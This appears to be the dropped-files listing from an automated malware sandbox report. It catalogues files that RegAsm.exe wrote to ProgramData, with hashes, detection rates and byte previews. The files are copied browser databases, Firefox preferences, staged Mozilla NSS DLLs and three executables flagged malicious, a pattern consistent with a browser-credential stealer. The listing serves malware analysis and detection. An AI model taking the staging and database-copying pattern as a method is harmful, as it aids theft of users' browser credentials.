Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\HDBGHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBGIJEHIIDGC\IIJKJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\JDGCGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\JKJDHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBGCFBGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBFCGIIIJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\ProgramData\GIEHJDHCBAEHJJJKKFIDGHJECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJKJDAFHJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	344992
Entropy (8bit):	7.9840811629834345
Encrypted:	false
SSDEEP:	6144:X5EAq+eU9BhaikesEDBVqaDf5kLslwEIF4TN4ha/qks1l9QjjmQ+Nb/Q5AQEO:J5vlBQB/EDBkaDRkyZIF4TN4o/29QjK0
MD5:	022CC85ED0F56A3F3E8AEC4AE3B80A71
SHA1:	A89B9C39C5F6FCB6E770CEA9491BF7A97F0F012D
SHA-256:	BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3
SHA-512:	AC549B9CF50E631BAE01152DB4523FDAB55F426EE77177AF900B088244665E28DE03C10784FE9DB33A2478BEE0D96BD50E5A668D2A2BFDFF3E8706AA8F5D71A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ... ....@.. .......................`.......7....`.....................................S.... ..B...........x...(&...@......`................................................ ............... ..H............text........ ...................... ..`.rsrc...B.... ......................@..@.reloc.......@......................@..B........................H.......@... ..............................................................+>J]..y.. 9..=...5..t...S..4;g./.k.T.l..>GP.OC.B.$...!.xV...X.,.7.D.qRY..\.8..`M.c....6...`...D6by..e>.Ty...."lZD;...6....FN6T.^:...z._.'.._......r;...n8...Ua..<.D8..4.OvZ.2.j;o.9...;.a.}.y.R......\......`2.fv.J.C.*D.cu..'.^,b......F^I..e..H.N!...&..x..D...."...5....z.J..sE.......H....b&DI..9..Z...l.{,w.F....-. O....2...Ak.8.<.!@@a'...2...A....%.l..?.a<y.....6zZ.....'..7..Q....v>

C:\ProgramData\JDAFHCGIJECFHIDGDBKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIDHJEBGI\AAKEGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIDHJEBGI\CFHDHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEGDBKFIJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\ProgramData\KJKJKFCBKKJDGDHIDBGIECBGHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
